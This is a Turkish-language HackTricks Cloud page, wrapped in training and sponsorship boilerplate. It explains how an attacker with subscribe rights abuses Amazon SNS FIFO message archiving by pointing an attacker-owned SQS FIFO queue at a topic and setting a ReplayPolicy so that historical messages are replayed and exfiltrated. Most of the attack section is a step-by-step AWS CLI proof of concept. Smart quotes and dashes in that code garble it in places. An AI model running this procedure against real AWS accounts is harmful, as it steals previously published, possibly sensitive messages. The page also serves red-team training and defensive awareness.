SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Amazon SNS FIFO konu mesaj arşivlemesinin kötüye kullanılarak, aboneliğin ReplayPolicy’si ayarlanıp saldırgan kontrollü SQS FIFO kuyruğuna daha önce yayımlanmış mesajların yeniden oynatılması ve exfiltrate edilmesi.
- Servis: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
- Gereksinimler: Konunun ArchivePolicy etkin olmalı (mesaj arşivleme). Saldırgan konuya Subscribe olabilmeli ve aboneliği üzerinde attribute ayarlayabilmeli. Saldırgan bir SQS FIFO kuyruğuna sahip olmalı ve konuya mesaj göndermesine izin veren bir kuyruk politikası ekleyebilmeli.
- Impact: Tarihsel mesajlar (abonelikten önce publish edilmiş olanlar) saldırgan endpointine teslim edilebilir. Yeniden oynatılan teslimatlar SNS zarfında Replayed=true ile işaretlenir.
Ön Koşullar
- ArchivePolicy etkin bir SNS FIFO konusu:
ArchivePolicy(ör.{ "MessageRetentionPeriod": "2" }için 2 gün). - Saldırganın izinleri:
sns:Subscribehedef konu üzerinde.sns:SetSubscriptionAttributesoluşturulan abonelik üzerinde.
- Saldırgan bir SQS FIFO kuyruğuna sahip olmalı ve konu ARN’sinden
sns:SendMessageizni veren bir kuyruk politikası ekleyebilmeli.
Minimum IAM permissions
- Konu üzerinde:
sns:Subscribe. - Abonelik üzerinde:
sns:SetSubscriptionAttributes. - Kuyruk üzerinde: politika için
sqs:SetQueueAttributesve kuyruk politikası ile konu ARN’sindensns:SendMessageizinlendirmesi.
Attack: Replay archived messages to attacker SQS FIFO
Saldırgan, SQS FIFO kuyruğunu hedef SNS FIFO konusuna subscribe eder, sonra abonelik için ReplayPolicy’yi arşiv saklama penceresi içindeki geçmiş bir zamana ayarlar. SNS, yeni aboneliğe uyan arşivlenmiş mesajları hemen yeniden oynatır ve bunları Replayed=true ile işaretler.
Notlar:
ReplayPolicy’de kullanılan zaman damgası, konununBeginningArchiveTime’ından >= olmalıdır. Daha önce ise APIInvalid StartingPoint valuedöner.- SNS FIFO için
Publishyaparken birMessageGroupIdbelirtmelisiniz (veya dedup ID ya daContentBasedDeduplicationetkinleştirilmiş olmalı).
End-to-end CLI POC (us-east-1)
```bash REGION=us-east-1 # Compute a starting point; adjust later to >= BeginningArchiveTime if needed TS_START=$(python3 - << 'PY' from datetime import datetime, timezone, timedelta print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ')) PY )1) Create SNS FIFO topic with archiving (2-day retention)
TOPIC_NAME=htreplay$(date +%s).fifo
TOPIC_ARN=$(aws sns create-topic –region “$REGION”
–cli-input-json ‘{“Name”:“’”$TOPIC_NAME“‘“,“Attributes”:{“FifoTopic”:“true”,“ContentBasedDeduplication”:“true”,“ArchivePolicy”:“{"MessageRetentionPeriod":"2"}”}}’
–query TopicArn –output text)
echo “Topic: $TOPIC_ARN”
2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
for i in $(seq 1 3); do
aws sns publish –region “$REGION” –topic-arn “$TOPIC_ARN”
–message “{"orderId":$i,"secret":"ssn-123-45-678$i"}”
–message-group-id g1 >/dev/null
done
3) Create attacker SQS FIFO queue and allow only this topic to send
Q_URL=$(aws sqs create-queue –queue-name ht-replay-exfil-q-$(date +%s).fifo
–attributes FifoQueue=true –region “$REGION” –query QueueUrl –output text)
Q_ARN=$(aws sqs get-queue-attributes –queue-url “$Q_URL” –region “$REGION”
–attribute-names QueueArn –query Attributes.QueueArn –output text)
cat > /tmp/ht-replay-sqs-policy.json <<JSON {“Version”:“2012-10-17”,“Statement”:[{“Sid”:“AllowSNSSend”,“Effect”:“Allow”,“Principal”:{“Service”:“sns.amazonaws.com”},“Action”:“sqs:SendMessage”,“Resource”:“$Q_ARN”,“Condition”:{“ArnEquals”:{“aws:SourceArn”:“$TOPIC_ARN”}}}]} JSON
Use CLI input JSON to avoid quoting issues
aws sqs set-queue-attributes –region “$REGION” –cli-input-json “$(python3 - << ‘PY’ import json, os print(json.dumps({ ‘QueueUrl’: os.environ[‘Q_URL’], ‘Attributes’: {‘Policy’: open(‘/tmp/ht-replay-sqs-policy.json’).read()} })) PY )”
4) Subscribe the queue to the topic
SUB_ARN=$(aws sns subscribe –region “$REGION” –topic-arn “$TOPIC_ARN”
–protocol sqs –notification-endpoint “$Q_ARN” –query SubscriptionArn –output text)
echo “Subscription: $SUB_ARN”
5) Ensure StartingPoint is >= BeginningArchiveTime
BEGIN=$(aws sns get-topic-attributes –region “$REGION” –topic-arn “$TOPIC_ARN” –query Attributes.BeginningArchiveTime –output text) START=${TS_START} if [ -n “$BEGIN” ]; then START=“$BEGIN”; fi
aws sns set-subscription-attributes –region “$REGION” –subscription-arn “$SUB_ARN”
–attribute-name ReplayPolicy
–attribute-value “{"PointType":"Timestamp","StartingPoint":"$START"}”
6) Receive replayed messages (note Replayed=true in the SNS envelope)
aws sqs receive-message –queue-url “$Q_URL” –region “$REGION”
–max-number-of-messages 10 –wait-time-seconds 10
–message-attribute-names All –attribute-names All
</details>
## Etki
**Potansiyel Etki**: Arşivleme etkinleştirilmiş bir SNS FIFO topic'e subscribe olabilen ve subscription'ına `ReplayPolicy` uygulayabilen bir attacker, sadece subscription oluşturulduktan sonra gönderilenler değil, o topic'e daha önce publish edilmiş geçmiş mesajları hemen replay edip exfiltrate edebilir. Teslim edilen mesajların SNS zarfında `Replayed=true` bayrağı bulunur.
> [!TIP]
> AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Az Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks'i Destekleyin</summary>
>
> - [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
> - **Katılın** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) veya [**telegram group**](https://t.me/peass) veya **Twitter**'da bizi **takip edin** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **PR göndererek hacking tricks paylaşın:** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

